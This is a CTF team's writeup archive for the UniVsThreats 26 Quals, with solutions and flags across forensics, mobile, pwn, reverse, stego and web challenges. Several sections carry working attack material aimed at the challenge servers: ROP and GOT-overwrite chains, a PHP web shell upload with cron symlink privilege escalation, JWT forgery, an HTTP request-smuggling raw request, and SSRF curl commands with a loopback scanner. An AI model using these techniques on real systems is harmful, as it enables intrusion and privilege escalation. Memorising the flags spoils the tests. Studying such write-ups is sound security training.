---
title: "UniVsThreats 26 Quals: Full Event Archive"
description: "A site-native UniVsThreats 26 Quals event writeup that preserves Alpet Gexha's full challenge archive in one place."
date: 2026-02-27
authors: "Alpet Gexha"
tags: ["event", "univsthreats", "mobile", "forensics", "reverse", "web", "stegano", "blockchain"]
ctf: "UniVsThreats 26 Quals CTF"
source: "/writeups/univsthreats-26-quals"
---

# UniVsThreats 26 Quals: Full Event Archive

<div class="my-8 rounded-xl border border-ksal-border bg-ksal-surface/30 p-5">
  <p class="mb-3 font-mono text-xs uppercase tracking-[0.2em] text-ksal-red-copy">Event Snapshot</p>
  <p><strong>Organizer:</strong> West University of Timisoara</p>
  <p><strong>Team:</strong> <a href="https://ctftime.org/team/424982" target="_blank" rel="noopener noreferrer">KSAL Cyber Team</a></p>
  <p><strong>Result:</strong> 4th place overall</p>
  <p><strong>Official site:</strong> <a href="https://cybersec.uvt.ro/events/UniVsThreats26Quals/" target="_blank" rel="noopener noreferrer">UniVsThreats 26 Quals</a></p>
</div>

This page is the site version of Alpet's full UniVsThreats event repo.

Instead of breaking the event into a pile of tiny posts, we are keeping the entire challenge archive together here so the solve record stays readable, complete, and easy to share from one place.

## Full Challenge Archive From The Event Repo

The sections below are copied into this writeup from the original event notes so the full challenge set lives here on the site.

### Blockchain

#### Andromeda Casino - Cards

**Point: 182**

Welcome back to Andromeda Casino! No rest for the wicked, eh?
I bet one flag you can't win the cards game!

NOTE: Please download the challenge files and use them to get a working solution locally before connecting


#### Andromeda Casino - Horses

**Point: 132**
Welcome to the greatest casino in the whole Andromeda Galaxy! Your fun is about to be astronomical!

Judging by your communication frequencies, you must be new 'round here, so let me give you a tip.
Go to the Casino's Exchange and ask them for some free tokens. If you can multiply them, you're in for a stellar treat!

But be careful to pay 'em back in time, or else...

NOTE: Please download the challenge files and use them to get a working solution locally before connecting remotely.


### Crypto

#### Voyager's Last Command

**Point: 50**

Year 2387
You have established an uplink to the Voyager-X probe via an emergency telemetry relay.


### Forensics

#### Bro is not an astronaut

**Point: 50**


##### Additional Writeup Notes

**50 points**

While we were scouring through space in our spaceship, conquering through the stars and planets, our team found A LONE USB STICK!
FLOATING THROUGH SPACE
INTACT!!!
WHY?!?!
HOW?!?!!?
HOW IS THAT POSSIBLE?!?!?!

Anyway...

We have found this USB stick (how) that seems to contain some logs of a long lost spaceship that may have been destroyed. The USB stick seems to have been made with a material that we do know of, but its contents are intact, although it seems data is either corrupted, deleted or encrypted. Someone wanted to get rid of it...
I wonder why🤔

Find out what happened here and retrieve the useful information

## 1) Parse GPT and Locate Partitions

The image has GPT (`EFI PART`) and two partitions:

1. `ASTRA9_USER` (FAT32, live files)
2. `ASTRA9_CACHE` (ext4, deleted artifacts)

## 2) Read Live Files from FAT32

- `/logs/crew_log.txt`
- `/nav.bc`
- `/payload.enc`
- `/readme.txt`

Important clues:

- Crew log gives token prefix: `ASTRA9-`
- Crew log + debrief mention encrypted telemetry fragments in cache
- Debrief states:
  - fragment format uses TLM header
  - sequence field is at offset 4
  - XOR key is in `diag_key.bin`
  - reassemble in sequence order

## 3) Recover Deleted ext4 Files

The script parses ext4 directly and recovers deleted regular files (`links==0`, `dtime!=0`).

Recovered critical inodes:

- `inode 20`: 16-byte high-entropy blob (`diag_key.bin` candidate)
- `inode 21..31`: `TLM` fragments with sequence values
- `inode 18`: `BRO-1337`
- `inode 17`: 32-byte seed candidate (used by payload decoy path)

## 4) Reassemble TLM Alpha/Bravo/Charlie (Real Flag Path)

The corrected solver does:

1. Select TLM fragments with sequence `1, 2, 3` (alpha/bravo/charlie).
2. Read declared per-fragment length from header bytes `[5:7]` (little-endian).
3. XOR candidate windows in each fragment body using `inode 20` as key.
4. Score windows for flag-like charset and boundary checks:
   - seq 1 should begin with `UVT{`
   - seq 3 should end with `}`
5. Pick best window per fragment and concatenate in sequence order.

Recovered parts:

- seq1: `UVT{d0nt_k33p_d1G`
- seq2: `G1in_U_sur3ly_w0N`
- seq3: `t_F1nD_aNythng_:)}`

Concatenated real flag:

- `UVT{d0nt_k33p_d1GG1in_U_sur3ly_w0Nt_F1nD_aNythng_:)}`

## 5) Payload Path (Decoy)

`airlockauth` logic is still valid:

1. `h1 = SHA256(nav.bc)`
2. `h2 = SHA256(seed32 || token || h1)`
3. `payload.enc XOR h2`

With `ASTRA9-BRO-1337` + inode 17 seed, this decrypts to:

- `UVT{S0m3_s3cR3tZ_4r_nVr_m3Ant_t0_B_SHRD}`

This looks like a flag but is a decoy message.

## Final

Use the telemetry-reassembled output:

- `UVT{d0nt_k33p_d1GG1in_U_sur3ly_w0Nt_F1nD_aNythng_:)}`


### Misc

#### ShadowRoute

**Point: 365**

The Helios Space Station has been operational for two years, orbiting Earth at 400km altitude. Recently, ground control detected anomalous network activity from the station's internal systems.
Your mission: intercept the data stream and identify the unauthorized beacon before the station completes its next orbit.
Good luck hunting the unfindable.

Credentials:
pilot:docking-request

## 1. Initial Access & Discovery

- **Connect:** SSH into the restricted shell using `pilot` / `docking-request`.
- **Enumerate:** Use the allowed `nmap` command to scan `127.13.37.0/24` and locate the dynamic internal station host (e.g., `127.13.37.46`).
- **Tunnel:** Port-forward the internal web service (`9043`) and file archive (`8445`) to your local machine.

## 2. Web Exploitation (`www-data`)

- **Credentials:** Extract the Stargate panel credentials (`astrid` / `apollo1`) from the `transmission.txt` file located on the internal file archive.
- **Authenticate:** Log into the Stargate dashboard.
- **RCE:** Upload a PHP web shell disguised as a telemetry file. The application accepts `.php` extensions and executes them, granting `www-data` access in `/var/www/html/cosmos-data/`.

## 3. Privilege Escalation (Root)

- **Identify Cron Job:** A root-level cron job executes `/home/nova/orbit-sync.sh` every minute and copies files from the web upload directory to `/var/backups/telemetry/`.
- **Symlink Abuse (Step 1):** Create a symlink in the web upload directory pointing to `/home/nova/orbit-sync.sh`. The root cron job copies this, creating a mirrored symlink in the destination folder.
- **Symlink Abuse (Step 2):** Replace your original symlink with a malicious bash script.
- **Execution:** On the next cron tick, the root copy operation traverses the destination symlink, effectively overwriting the actual root script with your payload. The subsequent tick executes it, dumping the contents of `/root/root.txt` into the web directory.

## 4. The Flag

`UVT{y0u_f0und_m3_1n_4_d4rk_c0rn3r_fr0m_4_sh4d0w_t3rm1n4l_h0peFully_y0U_WoUlD_r3MemBer_M3!!!_1_will_watch_yOur_m0v3s_frOm_h3r3}`


#### We are the Universe!

A mysterious bot has docked in our server carrying a broken launch key split into four fragments. The first fragment is hidden in plain sight, a round view of something that was never meant to be round.

When the time comes, a global launch event will trigger. To ignite the engines, you must gather in the voice hangar and stand together at the shuttle. Each crew member must take a position and recite the launch chant in the correct order, a familiar tune that starts with:

This is the only phase of the challenge where you are allowed to collaborate. Coordinate in voice, then set your nicknames to assemble the chant in order, one word per person, using numbered names like:

1 FIRST
2 WORD
3 OF
4 THE
5 CHANT
...

If the chant is assembled perfectly, the next fragment will drop and the final phase of the mission will unlock.

Engines ignited - perfect chant! Part 3: \_m0n3Y_R0b0tI1

## Part 1:

We Scan the QR code from the bot on discord

`I_W1lL5Hu7`

## Part 2:

- collected 21 image from the bot
- use that image as 0 and 1 (black 1 and white 0) to decode a binary stream
- merge into matrix
- find the best combination and using PIL we make an QR code and get the flag

## Part 3:

`_m0n3Y_R0b0tI1`

## Part 4:

- Record the bot on the discord channel and use the audio to decode the final flag
  pi po pi po po po po po pi po pi po po po pi pi po pi po pi pi po po pi po pi pi po po po pi pi po pi po pi pi po po pi po pi pi po po po pi pi po pi po pi pi po po pi po pi pi po po po pi pi po pi po pi pi po po pi po pi pi po po po pi pi po pi po pi pi po po pi po pi pi po po po pi po

- using the 2-tone FSK decoding we get the binary stream and decode it to ascii to get the final flag

`_r1ckr0ll3dy@ll`

```
Part 1: I_W1lL5Hu7

Part 2: Up_f0R

Part 3: \_m0n3Y_R0b0tI1

Part 4: \_r1ckr0ll3dy@ll
```

## Flag:

`UVT{I_W1lL_5Hu7_Up_f0R_m0n3Y_R0b0tI1_r1ckr0ll3dy@ll}`


### Mobile

#### Irondrop

**Point: 494**

A decommissioned space relay is still forwarding “secure” command traffic through a hardened Android client.
The app is packed with anti-root and anti-instrumentation checks, and it speaks a custom binary protocol over raw TCP.

Your mission: reverse the client, reproduce the protocol logic, gain privileged access to the relay inbox, and extract the classified transmission
The app doesn't run in unsafe environments.

## Solution

## 3) IronDrop

**Recon**
App communicated over raw TCP using a custom binary protocol. Frames were structured as: `cmd (1 byte) | length (2-byte little-endian) | payload`. Mapped out the main commands:

- `0x01/0x02/0x03/0x04` — handshake, challenge, login proof, session
- `0x10/0x11` — list inbox / inbox payload
- `0x20/0x21` — read message by ID / message payload

**Reversing the login proof**
The native function at offset `0x18ec0` handled auth. It builds a proof like this:

- If password length ≤ 255: `h1 = SHA256(challenge XOR SHA256(password))`
- If password length > 255: `h1 = SHA256((0x42 × 32 bytes) || challenge)`
- Then: `core = u8(len(username)) || username || h1`
- Then: `msg = challenge || core || "IRONDROPv2"`
- Then: `h2 = SHA256(K1_CONST || msg)`, `h3 = SHA256(K2_CONST || h2)`
- Final proof sent to server: `core || h3[:16]`

**The bug**
Username length is cast to a single unsigned byte before being serialized. A 256-character username wraps to `0x00`. Pairing that with a 300-character password (to force the long-password branch) produced a proof the server accepted with elevated privileges instead of a guest session.

**Exploit**
Sent login with `username = "A" × 256` and `password = "A" × 300`, got a privileged session, then used `0x10` to list the inbox and `0x20` to read each message until the flag appeared.

**Root cause:** Integer overflow on username length + an alternate crypto branch combined to trick the server into granting higher access than intended.

**Flag:** `UVT{2d9734481e93a68cdd560f2cf4833bbde20e21850361587a62cb7f9ed661dda9}`


#### Phantomgate

**Point: 261**

Deep in the outer-ring stations, PhantomGate protects command access to a classified orbital network.
You intercepted only an Android APK and the remote gateway endpoint. Somewhere inside the app is the path to forge an admin authentication proof and unlock the control channel.
Reverse the client, break the protection layers, and breach the gate before the auth window collapses.
The app doesn't run in unsafe environments.
At some point you will need to get the api system time.

## Solution

**Recon**
`/api/time` leaked server time and confirmed a 30-second TOTP window. `/api/admin/flag` told me exactly what it needed:

- `X-Admin-OTP` — 6-digit code
- `X-Admin-Token` — 44 hex chars
- `X-Admin-Nonce` — 24 hex chars
- `X-Caller-UID`

**Reversing**
The Java layer was just glue — the real logic lived in `libphantom_crypto.so`. Inside I found:

- A hardcoded admin account identifier (`admin_backup`)
- A 20-byte admin TOTP key: `a9a4072ac55133f0b39ddbd6261a61b5d4d71df2`
- A 32-byte global key: `f38a1c67bb42e9053dc8a7519f2e764b18d365ae7c0f9238e4b72a5cd981f643`
- Standard HOTP truncation over HMAC-SHA1, mod 1,000,000 for the OTP

**Token construction** (reverse engineered from native code):

1. `derived_key = SHA256(global_key[:16] || uid_as_le32)`
2. Generate a ChaCha20 keystream (counter=1, your nonce)
3. XOR the 6 OTP bytes with the keystream prefix → 6-byte ciphertext
4. `tag = SHA256(ciphertext || derived_key)[:16]`
5. Final token = ciphertext + tag = 22 bytes = 44 hex chars

**Exploit**
Grabbed server time, computed the OTP for the current slot (±1 for clock skew), generated a nonce, built the token with the above steps, sent all headers together.

**Root cause:** Every piece of the auth puzzle — TOTP seed, token algorithm, crypto keys — was sitting in the app binary.

**Flag:** `UVT{5db27607b1ba5395e8e24be2ab2dad0ef0ccf744b6966be51ef8b58d6583e681}`


#### Vault

**Point: 89**

VaultDrop is an orbital vault client, used by pilots to sync encrypted manifests from a remote station node.
A breach alert reports that one docked client can query more than it should, and command suspects privilege escalation issues.
The app doesn't run in unsafe environments.

## Solution

## 1) Vault

**Recon**
Started by poking the live API — health check, register, login, file listing. Nothing unusual, so I moved on to the APK.

**Reversing**
Decompiled the app and found it was making JNI calls into native code. Three functions stood out:

- `getAppJwtSecret` — the one that mattered
- `decryptConfig`
- `getDbPassphrase`

Inside `getAppJwtSecret`, the app builds a 48-byte buffer: the first 32 bytes are a hardcoded seed pulled from the binary's read-only data section, and the last 16 bytes are the literal string `vaultdrop.jwt.v2`. It then SHA256s the whole thing and uses the hex output as the JWT signing secret.

**Extracted seed:**

```
1ec2a7b1be9e59fa7a0ff354f12ac8d3a1e646a923cbe5f84e91ac5a0b23eccf
```

**Derived secret:**

```
4536ecd6d1c79c770306392bc7e20b0045437682694d3db5ab77220b8b5d76db
```

**Exploit**
Registered a real user (the server required `sub` to match an existing account), then forged an HS256 JWT with `role=admin`. Sent it to `GET /api/admin/flag` and got the flag.

**Root cause:** The JWT signing key was fully recoverable from the app binary.

**Flag:** `UVT{bbc14e49545f9781161c415081aaac03709fa9f2dcdda458daee0d8c0ba8f9cf}`


#### Whisper

**Point: 100**

A deep-space relay known as Whisper streams encrypted telemetry from orbital stations.
Your mission is to analyze the Android client and recover the access token used by the control API.
Something in the local signal path is leaking more than it should. Capture the right artifact, authenticate to the relay endpoint, and retrieve the flag.


### Pwn

#### Miller's Planet

## Vulnerability

- `vuln()` reads input with `gets()` into a stack buffer when the provided size is `<= 0x100`.
- Stack canary is disabled and PIE is off, so RIP can be reliably overwritten with static addresses.
- The binary also has a useful sequence at `0x401249`: `mov rdi, rax; call system; ...`.

## Exploit Idea

1. Send `1` as the first size to enter the stack-input branch and trigger a classic stack overflow.
2. Overwrite RIP with:
   `ret (0x401164) -> vuln (0x4013a0) -> mov rdi, rax; call system (0x401249) -> fake rbp -> main re-entry (0x40146f)`.
3. During the second `vuln` call, send `300` so input is stored on heap, then send the command string.
4. `gets()` returns the heap pointer in `RAX`, gadget moves it into `RDI`, and `system(command)` executes.

## Run

```bash
python solve.py --host 194.102.62.175 --port 28351
```

## Flag

`UVT{wh0_n33d5_10_stdfile_0_l0ck_wh3n_y0u_hav3_r0p_bWlsbGVyIHMgcGxhbmV0IGlzIGNyYXp5}`


#### Starlink

**Point: 56**

Humanity engineered this system piece by piece, launching thousands of mass produced nodes until the sky was more wire than void. To solve this issue, they developed an autonomous system that can rid the sky of them automatically when there are too many nodes.

The system rids the sky of nodes by physically colliding with them, but a glitch causes a chain reaction. Instead of cleaning, it creates a 'Kessler Syndrome' event a cloud of supersonic shrapnel that traps humanity on Earth.

Can you stop this rogue system and free humanity from this lethal cage?

## Vulnerability Summary

- Startup format string leak: `%29$p` gives libc leak (`__libc_start_main+0x8b`).
- Heap overflow in `Update`: `strcpy(node->content, input)` lets us overwrite `next`.
- Partial RELRO: writable GOT, so `free@GOT` can be replaced.

## Minimal Exploit Flow

1. Leak libc with `%29$p`.
2. Compute `libc_base = leak - 0x2a28b`, then resolve `system`.
3. Create one node with name as command, e.g. `cat flag*;cat /flag*`.
4. Overflow with `b"A"*0x107 + p64(0x403fe7)` to set fake `next`.
5. Update using empty name `""` with `p64(system)` to overwrite `free@GOT`, then delete the command node to trigger `system(name)`.

## Key Constants

- `free@GOT = 0x404000`
- `fake_node = 0x403fe7` (`fake_node + 0x19 = free@GOT`)
- `overflow offset to next = 0x107`
- `libc leak offset = 0x2a28b`

```bash
python exploit.py HOST=194.102.62.175 PORT=21434
```

## Flag:

`UVT{wh444t_h0us3_0f_sp1r1t_1n_th3_b1g_2026_ph4nt4sm4l_ph4nt4smagor14_1s_1t_y0u_06112009_JSdlsadasd8348Gh}`


### Rev

#### Bro is not a space hacker

**Point: 52**

Congratulations earthling! You found the culprit that deleted those files...

By investigating the USB further, a team member found out that there is a program that would unlock the airlock of that spaceship.

Your mission is to reconstruct the access chain, verify the airlock authentication path and recover the hidden evidence that explains who triggered the wipe, why it was done and what was meant to stay buried.

## Solution

Access chain reconstructed

1. crew_log.txt gives token prefix: ASTRA9- and says the second half is in secure cache.
2. Deleted cache file inode_18.bin contains: BRO-1337.
3. Full token: ASTRA9-BRO-1337.
4. Running airlockauth inside analysis/fat with that token returns signal verified (wrong token returns access denied).

Airlock auth path (reversed)

1. Read seed32.bin, nav.bc, payload.enc.
2. Compute h1 = SHA256(nav.bc).
3. Compute k = SHA256(seed32.bin || token || h1).
4. Decrypt payload.enc with repeating-key XOR using k.
5. Check decrypted data starts with `UVT{`.

Hidden evidence

1. inode_19.bin (mission debrief) is authored by Lt. Orin Voss and documents anomalous EM readings from cargo bay C-7, then cache purge instructions.
2. crew_log.txt records that diagnostics confirmed wipe request and marked /diagnostics and /tmp for deletion.
3. Inference: wipe was intentionally triggered by maintenance/diagnostics under Voss’s direction to bury C-7 telemetry evidence.
4. The buried secret is the decrypted payload above (the flag).

## Flag:

Flag: `UVT{S0m3_s3cR3tZ_4r_nVr_m3Ant_t0_B_SHRD}`


#### Satellua

**Point: 132**
You'll reach the flag no matter what it takes, right?

## Solution

- `main` loads an embedded custom Lua 5.5-like chunk from `.data` (`unk_6302E0`, size `dword_6302C0 = 9,742,391`) and executes it.
- In `sub_405800`, every runtime error updates a counter. At each `0x111088`-th hit, one flag byte is emitted:
  - `collapsed = xor(all 8 bytes of thrown 64-bit value)`
  - `flag[i] = byte_4227E0[i] ^ collapsed`
- `byte_4227E0` starts at `0x4227e0`:
  - `64 0d ae f1 be 1f 6c f5 38 01 f3 e5 07 e0 98 6d f4 fd 4e 20 00 fd 46 df c4 fa 0d 4d c2 ac ...`
- Brute-running was intentionally slow, so I instrumented early throws and derived the exact recurrence for thrown values:
  - `x1 = 0x1fff000`
  - `x(n+1) = splitmix64(x(n) + 0x9E3779B97F4A7C15)`
  - `splitmix64(z) = ((z ^ (z>>30)) * 0xBF58476D1CE4E5B9; (z ^ (z>>27)) * 0x94D049BB133111EB; z ^ (z>>31)) mod 2^64`
- Evaluating this at indices `n = k * 0x111088` and XORing with the key bytes yields:
  - `UVT{R3turn_8y_Thr0w_Del1v3r3r}`

## Flag

`UVT{R3turn_8y_Thr0w_Del1v3r3r}`


#### Sea of Fire

**Point: 289**

At the bottom of the sea, you find an ancient disc-like relic. A true UFO!

By sheer luck, you breach the entrance and go inside to explore. What could possibly go wrong?

Well, tripping over some circuit that lights up the interior, awakening dormant aliens. You run for your life, but get lost in a sprawling maze that, defying all known laws of physics, dwarfs the outer shell

Shaking violently, the now-activated UFO beams into outer space. Hurry up and turn this thing off before it collides with a dying star!

## Solution

looking at the game files showed it was a Unity IL2CPP build.

Using cpp2il dumps, i read the code and discovered the check took place in \_odc70232313.ValidatePassword, which runs a custom VM.

Next i used UnityPy to read level1 and get the path of instructions, from beginning to end (which i found in RoomInstructionTrigger components in level1).

then i reversed the vm opcodes and lookup table.

after that i had chatgpt make me a python script that ran it in reverse and that checked that the input that was found met the final condition (top = 1).

## Flag

`UVT{Fly_m3_in70_a_5Up3rn0vA}`


#### Starfield Relay

**Point: 50**

A recovered spacecraft utility binary is believed to validate a multi-part unlock phrase.
The executable runs a staged validation flow and eventually unlocks additional artifacts for deeper analysis.
Your goal is to reverse the binary, recover each stage fragment and reconstruct the final flag.

This crackme is a staged builder: each stage validates a fragment and appends it to a running string. After stage 10, the concatenation is the flag.

Stage 1

- Prompt: base prefix (4 chars)
- Check is direct `memcmp(..., "UVT{", 4)`.
- Fragment: `UVT{`

Stage 2

- Prompt: 3-char fragment
- Helper function builds expected string directly:
  - bytes: `0x4b 0x72 0x34`
- Fragment: `Kr4`

Stage 3

- Prompt: stage2 token (8 chars)
- Constraint per byte:
  - `7*i + (in[i] ^ (17*i + 109)) + 19 == target[i]`
  - `target = 0xC5E42C25FADC2431` (little-endian bytes)
- Inverting gives:
- Fragment: `st4rG4te`

Stage 4

- Prompt: token (8 chars)
- Constraint per byte:
  - `3*i + (in[i] ^ (-89 - 11*i)) == target[i]`
  - `target = pack("<II", -307768873, 1231567188)`
- Inverting gives:
- Fragment: `pR0b3Z3n`

Stage 5 (no input)

- VM bytecode is decoded and interpreted (`sub_140117D90` + `sub_140118090`).
- VM output is hashed and compared against embedded target.
- Recovered output:
- Fragment: `THEN-`

Stage 6 (payload extraction, no fragment)

- This stage extracts the embedded `stage2` payload and verifies it via `stage2.sha256`.
- It does not require user input and does not contribute a new typed fragment.

Stage 7 (starfield pings)

- File: `stage2/starfield_pings/pings.txt`
- Filter on `ttl=1337`, use `time` as 5-bit symbols.
- Decoder maps are split by symbol parity:
  - even symbols use `map_even_xor52`
  - odd symbols use `map_odd_rev_xor13`
- Decoded fragment:
- Fragment: `uR_pR0b3Z_xTND-`

Stage 8 (logs)

- File: `stage2/logs/system.log`
- Use `subsys="zen"` entries, order by `slot`, XOR `fragx` with key `k`.
- Concatenation gives base64 text:
  - `SV9oMUQzX2luX2wwR3pf`
- Base64 decode:
- Fragment: `I_h1D3_in_l0Gz_`

Stage 9 (void island)

- File: `stage2/void/zen_void.bin`
- Apply key `0x2a` to the correct non-zero island in the valid void range.
- Matching fragment:
- Fragment: `1n_v01D_`

Stage 10 (final)

- Key rule from readme:
  - `key = sum(bytes(stage8_text)) % 256`
- From stage 8:
  - `sum(b"1n_v01D_") % 256 = 0x78`
- Decode the next island with `0x78`:
- Fragment: `iN_ZEN}`

---

Reconstructing the final flag

Concatenate stage fragments in order:

1. `UVT{`
2. Kr4
3. st4rG4te
4. pR0b3Z3n
5. THEN-
6. uR_pR0b3Z_xTND-
7. I*h1D3_in_l0Gz*
8. 1n*v01D*
9. iN_ZEN}

Result:
`UVT{Kr4st4rG4tepR0b3Z3nTHEN-uR_pR0b3Z_xTND-I_h1D3_in_l0Gz_1n_v01D_iN_ZEN}`


### Stegano

#### Stellar Frequencies

**Point: 50**

A layered audio transmission masks a space message within a thin, high‑frequency band, buried under a carrier. With the right tuning, the faint signal resolves into a drifting cipher beyond the audible, like a relay echoing from deep space. Ready to hunt the signal and decode what’s hiding between the bands?

## Solution

```bash
sox frequencies.wav -n spectrogram -o output.png
```

## Flag

`UVT{5t4sh1p_3ch03s_fr0m_th3_0ut3r_v01d}`


#### Where is everything

**Point: 50**

HTTP 404: Everything Not Found

## Writeup

The folder already contains all puzzle artifacts and helper scripts:

- `empty.txt` (looks blank, but has space/tab data)
- `empty.png` (looks empty, but has LSB data)
- `empty.js` (contains a big hidden `VOID_PAYLOAD`)
- scripts: `another.js`, `extract_png.js`, `script.js`, `flag.js`

### 1) Decode the hint from `empty.txt`

Run:

```bash
node another.js
```

This decodes spaces/tabs into text and gives the important clue:

- inspect `empty.png`
- use the blue channel LSB
- sample every third pixel
- recovered text will unlock the hidden payload

### 2) Extract the ZIP password from `empty.png`

Install dependency once:

```bash
npm install
```

Then run:

```bash
node extract_png.js
```

Key output:

```text
ZIP_PASSWORD=D4rKm47T3rrr;END
```

So the password is:

```text
D4rKm47T3rrr
```

### 3) Rebuild the hidden archive from `empty.js`

Run:

```bash
node script.js
```

`script.js` extracts `VOID_PAYLOAD` from `empty.js`, maps zero-width chars to bits:

- `\u200B` -> `0`
- `\u200C` -> `1`

and writes the bytes to `flag.zip`.

### 4) Decrypt/extract `flag.zip`

Run:

```bash
tar --passphrase 'D4rKm47T3rrr' -xf flag.zip
```

This extracts `flag.png`.

### 5) Get the flag from `flag.png`

Run:

```bash
node flag.js
```

It prints the embedded flag string:

```text
`UVT{N0th1nG_iS_3mp7y_1n_sP4c3}`
```

## Flag

`UVT{N0th1nG_iS_3mp7y_1n_sP4c3}`


### Web

#### Nightmare Customer

**Point: 51**

You stumble upon the infamous online tech shop called "Cosmic Components Co." Their entire business model seems designed to rip off individual customers while raking in billions and billions of dollars from deals with AI Data Centers.

Exploit their website and buy all the products to show them that the regular costumer shouldn't be neglected!

The core bug is **persistent coupon stacking**.

- Endpoints:
  - `POST /cart/add`
  - `POST /cart/coupon`
  - `POST /cart/remove`
- Coupons `NEWCUSTOMER10` and `SPACESALE15` are intended for Product 1, but their discount effect can remain active after Product 1 is removed.
- Repeating this loop increases effective discount globally:
  1. Add Product 1
  2. Apply both coupons
  3. Remove Product 1

Tier progression (`/wallet-ledger`) depends on purchases:
`Rookie -> Silver -> Gold -> Platinum -> Diamond -> Elite`.

The `/flag` route is blocked until **Elite** status, so the exploit goal is:

1. Stack discounts with Product 1 loop until items are affordable.
2. Buy products in progression-friendly order: **1 -> 2 -> 6 -> 3 -> 4 -> 5**.
3. Reach Elite and complete buy-all-products condition.
4. Open `/flag`.

## Flag

`UVT{sp4c3_sh0pp3r_3xtr40rd1n41r3_2026}`


#### Revenge of Sea-Side Contraband

- Provided creds from PDF:
  - Username: `AlexGoodwin`
  - Password: `Pine123`

---

Old path confusion variants (like `//localhost/admin`) are also blocked in this revenge instance.

## Clue interpretation (why smuggling)

Two important hints from app content:

- Gateway log:
  - "Forwarding path now strips duplicate transfer directives..."
  - "Do not split maintenance sequences across separate channels."
- Comms feed:
  - "I sent the two pieces..."
  - "it only works when it stays on the same line."

This points to parser/channel disagreement and two-piece single-line delivery: classic **request smuggling** clueing.

---

## Validate desync behavior

When sending both `Content-Length` and `Transfer-Encoding: chunked`, behavior changes vs normal requests.  
This indicates front-end/back-end parsing mismatch.

The successful path here is **TE.CL**:

- Front-end honors chunked framing.
- Back-end honors Content-Length.

---

## Smuggle backend `GET /admin` and steal `relay_auth`

Use a raw socket request.  
Key trick: place `GET /admin ...` as chunk data and set `Content-Length` small so backend desyncs and parses hidden request.

> Just to be Clear we use Brup Suite to get the flag for the writeup we simulate on the curl

### Working raw request structure

```http
POST /forum/post HTTP/1.1
Host: 194.102.62.166:24956
Cookie: session=<SESSION>
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Connection: keep-alive

33
GET /admin HTTP/1.1
Host: 194.102.62.166:24956


0

GET /forum HTTP/1.1
Host: 194.102.62.166:24956
Cookie: session=<SESSION>
Connection: close
```

Observed response included:

- First response: `302` from `/forum/post`
- Second smuggled response: `200 OK` from `/admin`
- Header:
  - `Set-Cookie: relay_auth=<value>; Path=/admin; HttpOnly; SameSite=Lax`

That `relay_auth` is what we need.

---

## Access admin and SSRF endpoint

After setting both cookies:

- `session=<...>`
- `relay_auth=<...>` (Path `/admin`)

`GET /admin` returns admin panel and inventory probe UI.  
`POST /admin/relay` accepts:

- form field: `inventory_node`

Example:

```bash
curl -s -b ctf_cookie_24956.txt -X POST "http://194.102.62.166:24956/admin/relay" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "inventory_node=http://127.0.0.21:9100/inventory/stock/check?HarborId=1"
```

Expected: `Status: 200` and inventory JSON.

---

## Scan loopback SSRF range

Scan `127.0.0.1` to `127.0.0.254` on port `9100` through `/admin/relay`.

Live nodes found:

- `127.0.0.21`
- `127.0.0.241`

---

## Enumerate hidden node and get flag

Known path still works, but node changed vs older instance.

Final path:

- `http://127.0.0.241:9100/drops/pacific/batch-44c/vault/sealed/flag`

Response contains:

## Final Flag

`UVT{N0w_Y0u_R34lLy_Pr0v3d_y0ur53lf_MrP1n3}`

---


#### Sea-Side Contraband

Known intel from PDF:

- Username: `AlexGoodwin`
- Password: `Pine123`
- Hint words: internal network, relay checks, stock queries.

> Note: we use burp suite for the but for the writeup we simulate on the curl

## Step Bypass Admin with path confusion

This path works:

- `http://194.102.62.175:27457//localhost/admin`

Curl version:

```bash
curl -i --path-as-is -b ctf_cookie.txt -c ctf_cookie.txt \
  "http://194.102.62.175:27457//localhost/admin"
```

Expected:

- `HTTP/1.1 200 OK`
- `Set-Cookie: relay_auth=...; Path=/admin`
- Admin page contains **Harbor Inventory Probe Console**

Why this matters:

- `/admin` trusts `relay_auth` cookie, which gets set by the `//localhost/admin` route.

---

## Use the Inventory Probe SSRF

From admin page, stock probe sends requests to:

- `POST /admin/relay`
- parameter: `inventory_node`

Default node values:

- `http://127.0.0.21:9100/inventory/stock/check?HarborId=1`
- `http://127.0.0.21:9100/inventory/stock/check?HarborId=2`
- `http://127.0.0.21:9100/inventory/stock/check?HarborId=3`
- `http://127.0.0.21:9100/inventory/stock/check?HarborId=4`

Test command:

```bash
curl -s -b ctf_cookie.txt -X POST "http://194.102.62.175:27457/admin/relay" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "inventory_node=http://127.0.0.21:9100/inventory/stock/check?HarborId=1"
```

Expected in HTML response:

- `Status: 200`
- JSON from internal service (`inventory-adapter`)

---

## Identify input validation behavior

Important validation discovered:

- Host must be **dotted decimal** IP.
- Host must stay in `127.0.0.1` to `127.0.0.254`.

Examples:

- `http://localhost:9100/` -> rejected (`Inventory node IP must be dotted decimal.`)
- `http://10.0.0.1:9100/` -> rejected (`Node IP must stay within 127.0.0.1-254.`)

So the relay is basically a loopback SSRF proxy with range restriction.

---

## Scan allowed loopback range

Because only 127.0.0.x is allowed, scan `127.0.0.1-254` on port `9100` via `/admin/relay`.

Quick Python scanner:

```python
import requests, re, html

base = "http://194.102.62.175:27457"
s = requests.Session()
s.cookies.set("session", "<SESSION_COOKIE>", domain="194.102.62.175", path="/")
s.cookies.set("relay_auth", "<RELAY_AUTH_COOKIE>", domain="194.102.62.175", path="/admin")

for i in range(1, 255):
    ip = f"127.0.0.{i}"
    node = f"http://{ip}:9100/"
    r = s.post(base + "/admin/relay", data={"inventory_node": node}, timeout=8)
    m = re.search(r"<pre>(.*?)</pre>", r.text, re.S)
    if m:
        block = html.unescape(m.group(1))
        if "Status: 200" in block:
            print(ip, "LIVE")
```

Live nodes found:

- `127.0.0.21:9100` (known inventory service)
- `127.0.0.230:9100` (new internal node)

---

## Step Enumerate second internal node

Request:

- `inventory_node=http://127.0.0.230:9100/`

Response shows directory listing:

- `ops`
- `manifests`
- `drops`
- `logs`
- `notes.txt`

Follow listings recursively. The useful branch:

- `/drops/pacific/batch-44c/vault/sealed/flag`

---

## Read flag endpoint

Final command:

```bash
curl -s -b ctf_cookie.txt -X POST "http://194.102.62.175:27457/admin/relay" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "inventory_node=http://127.0.0.230:9100/drops/pacific/batch-44c/vault/sealed/flag"
```

Response contains:

- `Status: 200`
- `UVT{V3ry_W3ll_D0n3_MrP1n3_I_4m_1mpr3553d}`

---

## Final Flag

